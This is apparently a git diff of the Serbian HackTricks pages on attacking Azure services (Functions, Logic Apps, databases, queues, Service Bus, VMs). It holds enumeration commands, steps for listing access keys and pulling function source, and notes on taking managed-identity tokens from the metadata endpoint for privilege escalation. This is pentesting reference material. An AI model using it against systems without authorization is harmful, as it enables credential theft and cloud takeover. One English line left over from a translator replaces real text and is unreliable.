uvek važno pokušati pronaći sve njih ako kompromitujete funkciju jer biste mogli biti u mogućnosti da eskalirate privilegije na nekoliko upravljanih identiteta iz samo jedne funkcije. > -> Ako se ne koristi sistemski upravljeni identitet, ali su jedan ili više korisnički upravljanih identiteta povezani sa funkcijom, podrazumevano nećete moći dobiti nijedan token. +> Ako se ne koristi sistemski upravljani identitet, ali su jedan ili više korisničkih upravljanih identiteta povezani sa funkcijom, po defaultu nećete moći da dobijete nijedan token. -Moguće je koristiti [**PEASS skripte**](https://github.com/peass-ng/PEASS-ng) za dobijanje tokena iz podrazumevanog upravljanog identiteta sa metapodataka krajnje tačke. Ili ih možete dobiti **ručno** kao što je objašnjeno u: +Moguće je koristiti [**PEASS skripte**](https://github.com/peass-ng/PEASS-ng) da dobijete tokene iz podrazumevanog upravljanog identiteta sa krajnje tačke metapodataka. Ili ih možete dobiti **ručno** kao što je objašnjeno u: {% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %} -Imajte na umu da treba da pronađete način da **proverite sve upravljane identitete koje funkcija ima povezane** jer ako to ne naznačite, metapodataka krajnja tačka će **koristiti samo podrazumevani** (proverite prethodni link za više informacija). +Imajte na umu da treba da pronađete način da **proverite sve Upravljane Identitete koje funkcija ima povezane** jer ako to ne navedete, krajnja tačka metapodataka će **koristiti samo podrazumevani** (proverite prethodni link za više informacija). -## Ključevi pristupa +## Ključevi Pristupa > [!NOTE] -> Imajte na umu da ne postoje RBAC dozvole za davanje pristupa korisnicima za pozivanje funkcija. **Pozivanje funkcije zavisi od okidača** odabranog prilikom kreiranja i ako je odabran HTTP okidač, možda će biti potrebno koristiti **ključ pristupa**. +> Imajte na umu da ne postoje RBAC dozvole za davanje pristupa korisnicima da pozivaju funkcije. **Poziv funkcije zavisi od okidača** odabranog prilikom kreiranja i ako je odabran HTTP okidač, možda će biti potrebno koristiti **ključ pristupa**. Kada kreirate krajnju tačku unutar funkcije koristeći **HTTP okidač**, moguće je naznačiti **nivo autorizacije ključa pristupa** potreban za aktiviranje funkcije. Dostupne su tri opcije: @@ -84,25 +84,25 @@ Kada kreirate krajnju tačku unutar funkcije koristeći **HTTP okidač**, moguć **Tipovi ključeva:** -- **Ključevi funkcija:** Ključevi funkcija mogu biti podrazumevani ili korisnički definisani i dizajnirani su da omogućavaju pristup isključivo **određenim krajnjim tačkama funkcija** unutar Function App-a, omogućavajući finiju kontrolu pristupa nad krajnjim tačkama. -- **Ključevi hosta:** Ključevi hosta, koji takođe mogu biti podrazumevani ili korisnički definisani, pružaju pristup **svim krajnjim tačkama funkcija unutar Function App-a sa nivoom pristupa FUNCTION**. -- **Master ključ:** Master ključ (`_master`) služi kao administrativni ključ koji nudi povišene dozvole, uključujući pristup svim krajnjim tačkama funkcija (uključujući ADMIN nivo pristupa). Ovaj **ključ se ne može opozvati.** -- **Sistemski ključevi:** Sistemski ključevi su **upravni od strane specifičnih ekstenzija** i potrebni su za pristup webhook krajnjim tačkama koje koriste interni komponenti. Primeri uključuju Event Grid okidač i Durable Functions, koji koriste sistemske ključeve za sigurno interagovanje sa svojim API-ima. +- **Funkcijski Ključevi:** Funkcijski ključevi mogu biti ili podrazumevani ili korisnički definisani i dizajnirani su da daju pristup isključivo **određenim funkcijskim krajnjim tačkama** unutar Function App-a, omogućavajući finiju kontrolu pristupa nad krajnjim tačkama. +- **Host Ključevi:** Host ključevi, koji takođe mogu biti podrazumevani ili korisnički definisani, pružaju pristup **svim funkcijskim krajnjim tačkama unutar Function App-a sa nivoom pristupa FUNCTION**. +- **Master Ključ:** Master ključ (`_master`) služi kao administrativni ključ koji nudi povišene dozvole, uključujući pristup svim funkcijskim krajnjim tačkama (uključujući ADMIN nivo pristupa). Ovaj **ključ ne može biti opozvan.** +- **Sistemski Ključevi:** Sistemski ključevi su **upravni od strane specifičnih ekstenzija** i potrebni su za pristup webhook krajnjim tačkama koje koriste interni komponenti. Primeri uključuju Event Grid okidač i Durable Functions, koji koriste sistemske ključeve za sigurno interagovanje sa svojim API-ima. > [!TIP] > Primer za pristup funkciji API krajnjoj tački koristeći ključ: > > `https://.azurewebsites.net/api/?code=` -### Osnovna autentifikacija +### Osnovna Autentifikacija -Baš kao i u App Services, Functions takođe podržavaju osnovnu autentifikaciju za povezivanje sa **SCM** i **FTP** za implementaciju koda koristeći **korisničko ime i lozinku u URL-u** koji pruža Azure. Više informacija o tome u: +Baš kao u App Services, Functions takođe podržavaju osnovnu autentifikaciju za povezivanje sa **SCM** i **FTP** za implementaciju koda koristeći **korisničko ime i lozinku u URL-u** koji pruža Azure. Više informacija o tome u: {{#ref}} az-app-services.md {{#endref}} -### Github zasnovane implementacije +### Github Zasnovane Implementacije Kada se funkcija generiše iz Github repozitorijuma, Azure web konzola omogućava **automatsko kreiranje Github Workflow-a u specifičnom repozitorijumu** tako da kada god se ovaj repozitorijum ažurira, kod funkcije se ažurira. U stvari, Github Action yaml za python funkciju izgleda ovako: @@ -199,15 +199,14 @@ Pored toga, **Upravljani identitet** se takođe kreira kako bi Github akcija iz ### Implementacije zasnovane na kontejnerima -Nisu svi planovi omogućeni za implementaciju kontejnera, ali za one koji to omogućavaju, konfiguracija će sadržati URL kontejnera. U API-ju, podešavanje **`linuxFxVersion`** će imati nešto poput: `DOCKER|mcr.microsoft.com/...`, dok će u web konzoli konfiguracija prikazivati **podešavanja slike**. +Nisu svi planovi omogućili implementaciju kontejnera, ali za one koji to rade, konfiguracija će sadržati URL kontejnera. U API-ju, podešavanje **`linuxFxVersion`** će imati nešto poput: `DOCKER|mcr.microsoft.com/...`, dok će u web konzoli konfiguracija prikazivati **podešavanja slike**. Pored toga, **niti jedan izvorni kod neće biti pohranjen u skladištu** povezanu sa funkcijom jer to nije potrebno. ## Enumeracija -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # List all the functions az functionapp list @@ -253,11 +252,9 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func # Get source code az rest --url "https://management.azure.com//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```powershell Get-Command -Module Az.Functions @@ -273,9 +270,9 @@ Get-AzFunctionAppPlan -ResourceGroupName -Name # Retrieves the app settings for a specific Azure Function App. Get-AzFunctionAppSetting -Name -ResourceGroupName ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} + ## Eskalacija privilegija diff --git a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md index 29afe19b3..28de7a451 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md @@ -11,7 +11,7 @@ Logic Apps pruža vizuelni dizajner za kreiranje radnih tokova sa **širokim spe ### Primeri - **Automatizacija Podatkovnih Tokova**: Logic Apps može automatizovati **procese prenosa i transformacije podataka** u kombinaciji sa Azure Data Factory. Ovo je korisno za kreiranje skalabilnih i pouzdanih podatkovnih tokova koji prenose i transformišu podatke između različitih skladišta podataka, kao što su Azure SQL Database i Azure Blob Storage, pomažući u analitici i poslovnoj inteligenciji. -- **Integracija sa Azure Functions**: Logic Apps može raditi zajedno sa Azure Functions za razvoj **složenih, događajem pokretanih aplikacija koje se skaliraju po potrebi** i besprekorno se integrišu sa drugim Azure uslugama. Primer upotrebe je korišćenje Logic App-a za pokretanje Azure Function-a kao odgovor na određene događaje, kao što su promene u Azure Storage nalogu, omogućavajući dinamičko procesiranje podataka. +- **Integracija sa Azure Funkcijama**: Logic Apps može raditi zajedno sa Azure Funkcijama za razvoj **složenih, događajem pokretanih aplikacija koje se skaliraju po potrebi** i besprekorno se integrišu sa drugim Azure uslugama. Primer upotrebe je korišćenje Logic App-a za pokretanje Azure Funkcije kao odgovor na određene događaje, kao što su promene u Azure Storage nalogu, omogućavajući dinamičku obradu podataka. ### Vizualizacija LogicAPP-a @@ -19,11 +19,11 @@ Moguće je prikazati LogicApp sa grafikom:
-ili proveriti kod u sekciji "**Logic app code view**". +ili proveriti kod u sekciji "**Prikaz koda Logic app-a**". ### SSRF Zaštita -Čak i ako pronađete **Logic App ranjiv na SSRF**, nećete moći da pristupite kredencijalima iz metapodataka jer Logic Apps to ne dozvoljava. +Čak i ako pronađete da je **Logic App ranjiv na SSRF**, nećete moći da pristupite kredencijalima iz metapodataka jer Logic Apps to ne dozvoljava. Na primer, nešto poput ovoga neće vratiti token: ```bash @@ -43,9 +43,8 @@ Postoji nekoliko opcija hostovanja: ### Enumeracija -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # List az logic workflow list --resource-group @@ -108,11 +107,9 @@ az logicapp show --name --resource-group # List all application settings for a specific Logic App az logicapp config appsettings list --name --resource-group ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```bash Get-Command -Module Az.LogicApp @@ -137,11 +134,8 @@ Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "" -LName Get-AzLogicAppTriggerHistory -ResourceGroupName "" -Name "" -TriggerName "" ``` -{% endcode %} -{% endtab %} -{% endtabs %} - - +{{#endtab }} +{{#endtabs }} ### Integracioni Nalozi **Integracioni Nalozi** su funkcija Azure Logic Apps. Integracioni Nalozi se koriste za olakšavanje integracija na nivou preduzeća omogućavanjem naprednih B2B mogućnosti, kao što su EDI, AS2 i upravljanje XML shemama. Integracioni Nalozi su kontejner u Azure-u koji čuva sledeće artefakte korišćene za Logic Apps: @@ -153,13 +147,12 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "" -Name " @@ -219,11 +212,9 @@ az logic integration-account assembly show \ ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```powershell Get-Command -Module Az.LogicApp @@ -254,23 +245,22 @@ Get-AzIntegrationAccountPartner -ResourceGroupName -Integr # Retrieve details of a specific schema in an integration account Get-AzIntegrationAccountSchema -ResourceGroupName -IntegrationAccountName -Name ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} ## Eskalacija privilegija -Isto kao i privesc za logičke aplikacije: +Isto kao privesc za logic apps: -{% content-ref url="../az-privilege-escalation/az-logic-apps-privesc.md" %} -[az-logic-apps-privesc.md](../az-privilege-escalation/az-logic-apps-privesc.md) -{% endcontent-ref %} +{{#ref}} +../az-privilege-escalation/az-logic-apps-privesc.md +{{#endref}} -## Post eksploatacija +## Post Eksploatacija -{% content-ref url="../az-post-exploitation/az-logic-apps-post-exploitation.md" %} -[az-logic-apps-post-exploitation.md](../az-post-exploitation/az-logic-apps-post-exploitation.md) -{% endcontent-ref %} +{{#ref}} +../az-post-exploitation/az-logic-apps-post-exploitation.md +{{#endref}} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-mysql.md b/src/pentesting-cloud/azure-security/az-services/az-mysql.md index 0153fed31..9469b946b 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-mysql.md +++ b/src/pentesting-cloud/azure-security/az-services/az-mysql.md @@ -17,15 +17,14 @@ Azure Database for MySQL je potpuno upravljana relacijska baza podataka zasnovan ### Ključne Karakteristike * **Upravljanje Serverom**: **ad-admin** funkcija omogućava upravljanje Azure Active Directory (AAD) administratorima za MySQL servere, pružajući kontrolu nad administrativnim pristupom putem AAD akreditiva, dok **identity** funkcija omogućava dodeljivanje i upravljanje Azure Managed Identities, nudeći sigurnu, autentifikaciju bez akreditiva za pristup Azure resursima. -* **Upravljanje Životnim Ciklusom**: opcije za pokretanje ili zaustavljanje servera, brisanje instance fleksibilnog servera, ponovo pokretanje servera kako bi se brzo primenile promene konfiguracije, i čekanje da se osigura da server ispunjava određene uslove pre nego što se nastavi sa automatizovanim skriptama. +* **Upravljanje Životnim Ciklusom**: opcije za pokretanje ili zaustavljanje servera, brisanje instance fleksibilnog servera, ponovo pokretanje servera kako bi se brzo primenile promene u konfiguraciji, i čekanje da se osigura da server ispunjava određene uslove pre nego što se nastavi sa automatizovanim skriptama. * **Sigurnost i Mrežno Povezivanje**: može upravljati pravilima vatrozida servera za siguran pristup bazi podataka i odvojiti konfiguracije virtuelne mreže po potrebi. -* **Zaštita Podataka i Rezervne Kopije**: uključuje opcije za upravljanje rezervnim kopijama fleksibilnog servera za oporavak podataka, izvođenje geo-obnavljanja za oporavak servera u drugoj regiji, izvoz rezervnih kopija servera za spoljašnju upotrebu (u Preview), i obnavljanje servera iz rezervne kopije na određenu tačku u vremenu. +* **Zaštita Podataka i Rezervne Kopije**: uključuje opcije za upravljanje rezervnim kopijama fleksibilnog servera za oporavak podataka, izvođenje geo-obnavljanja za oporavak servera u drugoj regiji, izvoz rezervnih kopija servera za spoljašnju upotrebu (u Previu), i obnavljanje servera iz rezervne kopije na određenu tačku u vremenu. ### Enumeracija -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # List all flexible-servers az mysql flexible-server db list --resource-group @@ -55,11 +54,9 @@ az mysql flexible-server maintenance list --resource-group az mysql flexible-server server-logs list --resource-group --server-name ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```bash Get-Command -Module Az.MySql @@ -95,15 +92,12 @@ Get-AzMySqlFlexibleServerMaintenanceWindow -ResourceGroupName -ServerName ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} ### Povezivanje Sa ekstenzijom rdbms-connect možete pristupiti bazi podataka sa: - -{% code overflow="wrap" %} ```bash az mysql flexible-server connect -n -u -p --interactive @@ -116,17 +110,11 @@ az mysql flexible-server execute \ --querytext "SELECT * FROM ;" ``` -{% endcode %} - -Ili sa MySQL nativnim ekstenzijskim pluginom -{% code overflow="wrap" %} +Ili sa MySQL nativnim ekstenzijskim dodatkom ```bash mysql -h .mysql.database.azure.com -P 3306 -u -p ``` -{% endcode %} - -Takođe možete izvršavati upite sa github-om, ali su potrebni i lozinka i korisničko ime. Morate postaviti sql datoteku sa upitom koji želite da izvršite, a zatim: -{% code overflow="wrap" %} +Takođe možete izvršavati upite sa github-om, ali su potrebni i korisničko ime i lozinka. Morate postaviti sql datoteku sa upitom koji treba izvršiti i zatim: ```bash # Setup az mysql flexible-server deploy setup \ @@ -145,24 +133,20 @@ az mysql flexible-server deploy run \ --action-name \ --branch ``` -{% endcode %} - ## Eskalacija privilegija -{% content-ref url="../az-privilege-escalation/az-mysql-privesc.md" %} -[az-mysql-privesc.md](../az-privilege-escalation/az-mysql-privesc.md) -{% endcontent-ref %} +{{#ref}} +../az-privilege-escalation/az-mysql-privesc.md +{{#endref}} -## Post Eksploatacija +## Post eksploatacija -{% content-ref url="../az-post-exploitation/az-mysql-post-exploitation.md" %} -[az-sql-mysql-exploitation.md](../az-post-exploitation/az-mysql-post-exploitation.md) -{% endcontent-ref %} +{{#ref}} +../az-post-exploitation/az-mysql-post-exploitation.md +{{#endref}} ## ToDo * Potražite način da pristupite mysql flexible-server ad-admin da biste proverili da li je to metoda eskalacije privilegija - - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-postgresql.md b/src/pentesting-cloud/azure-security/az-services/az-postgresql.md index e5550511c..e5dff1e6d 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-postgresql.md +++ b/src/pentesting-cloud/azure-security/az-services/az-postgresql.md @@ -3,7 +3,7 @@ {{#include ../../../banners/hacktricks-training.md}} ## Azure PostgreSQL -**Azure Database for PostgreSQL** je potpuno upravljana **usluga relacionih baza podataka zasnovana na PostgreSQL** Community Edition. Dizajnirana je da pruži skalabilnost, sigurnost i fleksibilnost za različite potrebe aplikacija. Slično kao Azure MySQL, PostgreSQL nudi dva modela implementacije: +**Azure Database for PostgreSQL** je potpuno upravljana **usluga relacionih baza podataka zasnovana na PostgreSQL** Community Edition. Dizajnirana je da pruži skalabilnost, sigurnost i fleksibilnost za različite potrebe aplikacija. Slično Azure MySQL, PostgreSQL nudi dva modela implementacije: * **Single Server** (na putu povlačenja): - Optimizovan za jednostavne, isplative PostgreSQL implementacije. @@ -18,17 +18,16 @@ ### Ključne Karakteristike * **Prilagođena Održavanja**: Planirajte ažuriranja kako biste minimizirali prekide. -* **Aktivno Praćenje**: Pristupite detaljnim metrikama i logovima za praćenje i poboljšanje performansi baze podataka. +* **Aktivno Praćenje**: Pristupite detaljnim metrikama i zapisima za praćenje i poboljšanje performansi baze podataka. * **Stop/Start Server**: Korisnici mogu zaustaviti i pokrenuti server. * **Automatske Rezervne Kopije**: Ugrađene dnevne rezervne kopije sa periodima čuvanja koji se mogu konfigurisati do 35 dana. -* **Pristup na Bazi Rolama**: Kontrolišite dozvole korisnika i administrativni pristup putem Azure Active Directory. +* **Pristup na Bazi Rolama**: Kontrolišite dozvole korisnika i administratorski pristup putem Azure Active Directory. * **Sigurnost i Mrežno Povezivanje**: može upravljati pravilima vatrozida servera za siguran pristup bazi podataka i odvojiti konfiguracije virtuelne mreže po potrebi. ### Enumeracija -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # List servers in a resource group az postgres flexible-server list --resource-group @@ -64,11 +63,9 @@ az postgres flexible-server maintenance list --resource-group --server-name ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```bash Get-Command -Module Az.PostgreSql @@ -91,15 +88,12 @@ Get-AzPostgreSqlFlexibleServerLocationBasedCapability -Location Get-AzPostgreSqlServer -ResourceGroupName ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} -### Povezivanje +### Veza Sa ekstenzijom rdbms-connect možete pristupiti bazi podataka sa: - -{% code overflow="wrap" %} ```bash az postgres flexible-server connect -n -u -p --interactive @@ -112,36 +106,31 @@ az postgres flexible-server execute \ --querytext "SELECT * FROM ;" ``` -{% endcode %} - -Ili -{% code overflow="wrap" %} +I am here to assist you. Please provide the text you would like translated. ```bash psql -h testpostgresserver1994.postgres.database.azure.com -p 5432 -U adminuser ``` -{% endcode %} - ## Reference -* [https://learn.microsoft.com/en-us/azure/postgresql/](https://learn.microsoft.com/en-us/azure/postgresql/) -* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview) -* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview) +- [https://learn.microsoft.com/en-us/azure/postgresql/](https://learn.microsoft.com/en-us/azure/postgresql/) +- [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview) +- [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview) ## Eskalacija privilegija -{% content-ref url="../az-privilege-escalation/az-postgresql-privesc.md" %} -[az-postgresql-privesc.md](../az-privilege-escalation/az-postgresql-privesc.md) -{% endcontent-ref %} +{{#ref}} +../az-privilege-escalation/az-postgresql-privesc.md +{{#endref}} ## Post Eksploatacija -{% content-ref url="../az-post-exploitation/az-postgresql-post-exploitation.md" %} -[az-postgresql-post-exploitation.md](../az-post-exploitation/az-postgresql-post-exploitation.md) -{% endcontent-ref %} +{{#ref}} +../az-post-exploitation/az-postgresql-post-exploitation.md +{{#endref}} ## ToDo -* Potraži način da se pristupi sa ad-admin da se verifikuje da li je to metoda eskalacije privilegija +* Potražite način da pristupite sa ad-admin da verifikujete da li je to metoda privesc {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md b/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md index ac23bc4c2..09ea7c0ac 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md +++ b/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md @@ -4,7 +4,7 @@ ## Osnovne informacije -Azure Queue Storage je usluga u Microsoftovoj Azure cloud platformi dizajnirana za redosled poruka između komponenti aplikacije, **omogućavajući asinhronu komunikaciju i dekoplovanje**. Omogućava vam da čuvate neograničen broj poruka, svaka do 64 KB veličine, i podržava operacije kao što su kreiranje i brisanje redova, dodavanje, preuzimanje, ažuriranje i brisanje poruka, kao i upravljanje metapodacima i politikama pristupa. Iako obično obrađuje poruke po principu prvi došao, prvi uslužen (FIFO), strogi FIFO nije garantovan. +Azure Queue Storage je usluga u Microsoftovoj Azure cloud platformi dizajnirana za redosled poruka između komponenti aplikacije, **omogućavajući asinhronu komunikaciju i dekopling**. Omogućava vam da čuvate neograničen broj poruka, svaka do 64 KB u veličini, i podržava operacije kao što su kreiranje i brisanje redova, dodavanje, preuzimanje, ažuriranje i brisanje poruka, kao i upravljanje metapodacima i politikama pristupa. Iako obično obrađuje poruke po principu prvi dođe, prvi se usluži (FIFO), strogi FIFO nije garantovan. ### Enumeracija @@ -12,19 +12,19 @@ Azure Queue Storage je usluga u Microsoftovoj Azure cloud platformi dizajnirana {{#tab name="Az Cli" }} ```bash # You need to know the --account-name of the storage (az storage account list) -az storage queue list --account-name +az storage queue list --account-name # --auth-mode login # Queue Metadata -az storage queue metadata show --name --account-name +az storage queue metadata show --name --account-name # --auth-mode login #Get ACL -az storage queue policy list --queue-name --account-name +az storage queue policy list --queue-name --account-name # --auth-mode login # Get Messages (getting a message deletes it) -az storage message get --queue-name --account-name +az storage message get --queue-name --account-name # --auth-mode login # Peek Messages -az storage message peek --queue-name --account-name +az storage message peek --queue-name --account-name # --auth-mode login ``` {{#endtab }} diff --git a/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md b/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md index 6c4fccc42..9f24b7dc3 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md +++ b/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md @@ -25,12 +25,12 @@ Neke napredne funkcije su: - **Sesije poruka**: Osigurava FIFO obradu i podržava obrasce zahtev-odgovor. - **Automatsko prosleđivanje**: Prenosi poruke između redova ili tema u istom imenskom prostoru. - **Dead-Lettering**: Započinje neisporučive poruke za pregled. -- **Zakazana isporuka**: Odlaže obradu poruka za buduće zadatke. +- **Zakazano isporučivanje**: Odlaže obradu poruka za buduće zadatke. - **Odlaganje poruka**: Odlaže preuzimanje poruka dok ne budu spremne. - **Transakcije**: Grupira operacije u atomsko izvršenje. - **Filteri i akcije**: Primena pravila za filtriranje ili anotaciju poruka. - **Automatsko brisanje kada je neaktivno**: Briše redove nakon neaktivnosti (min: 5 minuta). -- **Otkrivanje duplikata**: Uklanja duple poruke tokom ponovnog slanja. +- **Otkrivanje duplikata**: Uklanja duplikate poruka tokom ponovnog slanja. - **Brisanje u serijama**: Masovno briše istekle ili nepotrebne poruke. ### Pravilo autorizacije / SAS politika @@ -43,7 +43,7 @@ SAS politike definišu dozvole pristupa za entitete Azure Service Bus imenskog p - Slušanje: Omogućava primanje poruka od entiteta. - **Primarni i sekundarni ključevi**: Ovo su kriptografski ključevi koji se koriste za generisanje sigurnih tokena za autentifikaciju pristupa. - **Primarni i sekundarni stringovi za povezivanje**: Prekonfigurisani stringovi za povezivanje koji uključuju krajnju tačku i ključ za laku upotrebu u aplikacijama. -- **SAS politika ARM ID**: Putanja Azure Resource Manager (ARM) do politike za programatsku identifikaciju. +- **SAS politika ARM ID**: Putanja Azure Resource Manager-a (ARM) do politike za programatsku identifikaciju. ### Imena prostora @@ -51,9 +51,8 @@ sku, pravilo autorizacije, ### Enumeracija -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # Queue Enumeration az servicebus queue list --resource-group --namespace-name @@ -81,11 +80,9 @@ az servicebus queue authorization-rule list --resource-group - az servicebus topic authorization-rule list --resource-group --namespace-name --topic-name az servicebus namespace authorization-rule keys list --resource-group --namespace-name --name ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```powershell Get-Command -Module Az.ServiceBus @@ -128,9 +125,8 @@ Get-AzServiceBusSubscription -ResourceGroupName -NamespaceNa # Retrieves details of a specified topic in a Service Bus namespace. Get-AzServiceBusTopic -ResourceGroupName -NamespaceName ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} ### Eskalacija privilegija @@ -147,8 +143,8 @@ Get-AzServiceBusTopic -ResourceGroupName -NamespaceName -ResourceGroupName {{#endtab}} {{#endtabs}} -## Slike, Galerijske Slike i Tačke Obnavljanja +## Slike, Galerijske slike i Tačke vraćanja -**VM slika** je šablon koji sadrži operativni sistem, podešavanja aplikacija i datotečni sistem potreban za **kreiranje nove virtuelne mašine (VM)**. Razlika između slike i snimka diska je u tome što je snimak diska samo za čitanje, kopija u određenom trenutku jednog upravljanog diska, koja se prvenstveno koristi za backup ili rešavanje problema, dok slika može sadržati **više diskova i dizajnirana je da služi kao šablon za kreiranje novih VM-ova**.\ +**VM slika** je šablon koji sadrži operativni sistem, podešavanja aplikacija i datotečni sistem potreban za **kreiranje nove virtuelne mašine (VM)**. Razlika između slike i snimka diska je u tome što je snimak diska samo za čitanje, kopija u tački vremena jednog upravljanog diska, koja se prvenstveno koristi za backup ili rešavanje problema, dok slika može sadržati **više diskova i dizajnirana je da služi kao šablon za kreiranje novih VM-ova**.\ Slike se mogu upravljati u **odeljku Slike** u Azure-u ili unutar **Azure compute galerija** koje omogućavaju generisanje **verzija** i **deljenje** slike između različitih korisnika, pa čak i njeno postavljanje kao javne. -**Tačka obnavljanja** čuva konfiguraciju VM-a i **snapshots** aplikacija u određenom trenutku koji su dosledni za sve upravljane diskove povezane sa VM-om. Povezana je sa VM-om i njen cilj je da omogući vraćanje tog VM-a na stanje u tom specifičnom trenutku. +**Tačka vraćanja** čuva konfiguraciju VM-a i **snapshots** aplikacija u tački vremena koji su dosledni za sve upravljane diskove povezane sa VM-om. Povezana je sa VM-om i njen cilj je da omogući vraćanje tog VM-a na stanje u toj specifičnoj tački. {{#tabs}} {{#tab name="az cli"}} @@ -150,7 +150,7 @@ Iz [**dokumentacije**](https://learn.microsoft.com/en-us/azure/site-recovery/sit Azure Bastion omogućava siguran i neometan **Remote Desktop Protocol (RDP)** i **Secure Shell (SSH)** pristup vašim virtuelnim mašinama (VM) direktno kroz Azure Portal ili putem jump box-a. Tako što **uklanja potrebu za javnim IP adresama** na vašim VM-ima. -Bastion postavlja podmrežu nazvanu **`AzureBastionSubnet`** sa `/26` mrežnom maskom u VNet-u na kojem treba da radi. Zatim omogućava **povezivanje sa internim VM-ima putem pregledača** koristeći `RDP` i `SSH`, izbegavajući izlaganje portova VM-ova internetu. Takođe može raditi kao **jump host**. +Bastion postavlja podmrežu nazvanu **`AzureBastionSubnet`** sa `/26` maskom u VNet-u na kojem treba da radi. Zatim omogućava **povezivanje sa internim VM-ima putem pregledača** koristeći `RDP` i `SSH`, izbegavajući izlaganje portova VM-ova internetu. Takođe može raditi kao **jump host**. Da biste naveli sve Azure Bastion hostove u vašoj pretplati i povezali se sa VM-ima putem njih, možete koristiti sledeće komande: @@ -189,7 +189,7 @@ Get-AzBastion ## Metadata -Azure Instance Metadata Service (IMDS) **pruža informacije o aktivnim instancama virtuelnih mašina** kako bi pomogao u njihovom upravljanju i konfiguraciji. Nudi detalje kao što su SKU, skladište, mrežne konfiguracije i informacije o predstojećim događajima održavanja putem **REST API dostupnog na ne-rutabilnoj IP adresi 169.254.169.254**, koja je dostupna samo iz unutar VM-a. Komunikacija između VM-a i IMDS ostaje unutar hosta, osiguravajući siguran pristup. Kada se upit vrši prema IMDS, HTTP klijenti unutar VM-a treba da zaobiđu web proksije kako bi osigurali pravilnu komunikaciju. +Azure Instance Metadata Service (IMDS) **pruža informacije o aktivnim instancama virtuelnih mašina** kako bi pomogao u njihovom upravljanju i konfiguraciji. Pruža detalje kao što su SKU, skladište, mrežne konfiguracije i informacije o predstojećim događajima održavanja putem **REST API dostupnog na ne-rutabilnoj IP adresi 169.254.169.254**, koja je dostupna samo iz unutar VM-a. Komunikacija između VM-a i IMDS ostaje unutar hosta, osiguravajući siguran pristup. Kada se upit vrši prema IMDS, HTTP klijenti unutar VM-a treba da zaobiđu web proksije kako bi osigurali pravilnu komunikaciju. Pored toga, da bi se kontaktirao metadata endpoint, HTTP zahtev mora imati zaglavlje **`Metadata: true`** i ne sme imati zaglavlje **`X-Forwarded-For`**. @@ -200,6 +200,9 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/ {{#endref}} ## VM Enumeration + +{{#tabs}} +{{#tab name="az cli"}} ```bash # VMs ## List all VMs and get info about one @@ -335,7 +338,9 @@ az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[] # List all available run commands for virtual machines az vm run-command list --output table ``` +{{#endtab }} +{{#tab name="Az Powershell" }} ```bash # Get readable VMs Get-AzVM | fl @@ -427,6 